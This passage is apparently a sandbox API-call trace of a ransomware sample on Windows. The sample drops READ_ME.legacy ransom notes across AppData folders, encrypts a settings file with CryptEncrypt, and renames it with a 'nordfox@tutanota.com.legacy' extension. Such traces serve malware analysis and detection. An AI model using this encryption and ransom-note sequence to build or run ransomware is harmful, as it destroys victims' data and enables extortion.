GetLastError () returned 0x12 [0135.666] SetLastError (dwErrCode=0x12) [0135.666] FindNextFileW (in: hFindFile=0x60c198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a3b29e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a3b29e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a3b29e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0135.667] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6a3b29e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bd58 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] GetLastError () returned 0x12 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] GetLastError () returned 0x12 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] FindNextFileW (in: hFindFile=0x60bd58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6a3b29e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] GetLastError () returned 0x12 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] GetLastError () returned 0x12 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] FindNextFileW (in: hFindFile=0x60bd58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] GetLastError () returned 0x12 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] GetLastError () returned 0x12 [0135.667] SetLastError (dwErrCode=0x12) [0135.667] SetLastError (dwErrCode=0x12) [0135.667] GetLastError () returned 0x12 [0135.668] SetLastError (dwErrCode=0x12) [0135.668] GetLastError () returned 0x12 [0135.668] SetLastError (dwErrCode=0x12) [0135.668] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728 [0135.668] WriteFile (in: hFile=0x728, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.669] CloseHandle (hObject=0x728) returned 1 [0135.669] FindNextFileW (in: hFindFile=0x60bd58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0135.669] SetLastError (dwErrCode=0x0) [0135.669] GetLastError () returned 0x0 [0135.669] SetLastError (dwErrCode=0x0) [0135.669] GetLastError () returned 0x0 [0135.669] SetLastError (dwErrCode=0x0) [0135.669] SetLastError (dwErrCode=0x0) [0135.669] GetLastError () returned 0x0 [0135.670] SetLastError (dwErrCode=0x0) [0135.670] GetLastError () returned 0x0 [0135.670] SetLastError (dwErrCode=0x0) [0135.670] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728 [0135.763] WriteFile (in: hFile=0x728, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.767] CloseHandle (hObject=0x728) returned 1 [0135.768] FindNextFileW (in: hFindFile=0x60bd58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Color", cAlternateFileName="")) returned 1 [0135.768] SetLastError (dwErrCode=0x0) [0135.768] GetLastError () returned 0x0 [0135.768] SetLastError (dwErrCode=0x0) [0135.768] GetLastError () returned 0x0 [0135.768] SetLastError (dwErrCode=0x0) [0135.768] SetLastError (dwErrCode=0x0) [0135.768] GetLastError () returned 0x0 [0135.768] SetLastError (dwErrCode=0x0) [0135.768] GetLastError () returned 0x0 [0135.768] SetLastError (dwErrCode=0x0) [0135.768] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728 [0135.769] WriteFile (in: hFile=0x728, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.770] CloseHandle (hObject=0x728) returned 1 [0135.770] FindNextFileW (in: hFindFile=0x60bd58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a3b29e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a3b29e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.770] SetLastError (dwErrCode=0x0) [0135.770] GetLastError () returned 0x0 [0135.770] SetLastError (dwErrCode=0x0) [0135.771] GetLastError () returned 0x0 [0135.771] SetLastError (dwErrCode=0x0) [0135.771] FindNextFileW (in: hFindFile=0x60bd58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a3b29e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a3b29e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0135.771] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Application Data\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a3b29e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a3b29e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0135.771] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bf98 [0135.771] SetLastError (dwErrCode=0x5) [0135.771] GetLastError () returned 0x5 [0135.771] SetLastError (dwErrCode=0x5) [0135.771] SetLastError (dwErrCode=0x5) [0135.771] FindNextFileW (in: hFindFile=0x60bf98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.771] SetLastError (dwErrCode=0x5) [0135.771] GetLastError () returned 0x5 [0135.771] SetLastError (dwErrCode=0x5) [0135.771] SetLastError (dwErrCode=0x5) [0135.771] FindNextFileW (in: hFindFile=0x60bf98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a614a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a614a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.772] SetLastError (dwErrCode=0x5) [0135.772] GetLastError () returned 0x5 [0135.772] SetLastError (dwErrCode=0x5) [0135.772] SetLastError (dwErrCode=0x5) [0135.772] FindNextFileW (in: hFindFile=0x60bf98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0135.772] SetLastError (dwErrCode=0x5) [0135.772] GetLastError () returned 0x5 [0135.772] SetLastError (dwErrCode=0x5) [0135.772] SetLastError (dwErrCode=0x5) [0135.772] SetLastError (dwErrCode=0x5) [0135.772] GetLastError () returned 0x5 [0135.772] SetLastError (dwErrCode=0x5) [0135.772] GetLastError () returned 0x5 [0135.772] SetLastError (dwErrCode=0x5) [0135.772] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\user data\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c [0135.773] WriteFile (in: hFile=0x72c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.774] CloseHandle (hObject=0x72c) returned 1 [0135.775] FindNextFileW (in: hFindFile=0x60bf98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0135.775] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c1d8 [0135.775] FindNextFileW (in: hFindFile=0x60c1d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.775] FindNextFileW (in: hFindFile=0x60c1d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a614a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a614a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a614a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.775] FindNextFileW (in: hFindFile=0x60c1d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0135.775] FindNextFileW (in: hFindFile=0x60c1d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Unistore", cAlternateFileName="")) returned 1 [0135.775] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x730 [0135.776] WriteFile (in: hFile=0x730, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.777] CloseHandle (hObject=0x730) returned 1 [0135.778] FindNextFileW (in: hFindFile=0x60c1d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0135.778] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x730 [0135.781] WriteFile (in: hFile=0x730, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.782] CloseHandle (hObject=0x730) returned 1 [0135.782] FindNextFileW (in: hFindFile=0x60c1d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0135.782] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c058 [0135.783] FindNextFileW (in: hFindFile=0x60c058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.783] FindNextFileW (in: hFindFile=0x60c058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0135.783] FindNextFileW (in: hFindFile=0x60c058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a876dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a876dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.783] FindNextFileW (in: hFindFile=0x60c058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a876dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a876dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0135.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0135.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0135.783] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", dwFileAttributes=0x80) returned 1 [0135.783] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734 [0135.784] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1527) returned 1 [0135.784] ReadFile (in: hFile=0x734, lpBuffer=0x2f40050, nNumberOfBytesToRead=0x5f7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesRead=0x2e1f9bc*=0x5f7, lpOverlapped=0x0) returned 1 [0135.784] SetFilePointer (in: hFile=0x734, lDistanceToMove=-1527, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.785] WriteFile (in: hFile=0x734, lpBuffer=0x2f40650*, nNumberOfBytesToWrite=0x5f7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40650*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5f7, lpOverlapped=0x0) returned 1 [0135.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0135.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40650 | out: hHeap=0x520000) returned 1 [0135.785] SetFilePointer (in: hFile=0x734, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5f7 [0135.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0135.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0135.785] WriteFile (in: hFile=0x734, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0135.785] WriteFile (in: hFile=0x734, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0135.785] CloseHandle (hObject=0x734) returned 1 [0135.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0135.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0135.786] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8460 | out: hHeap=0x520000) returned 1 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e79e0 | out: hHeap=0x520000) returned 1 [0135.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 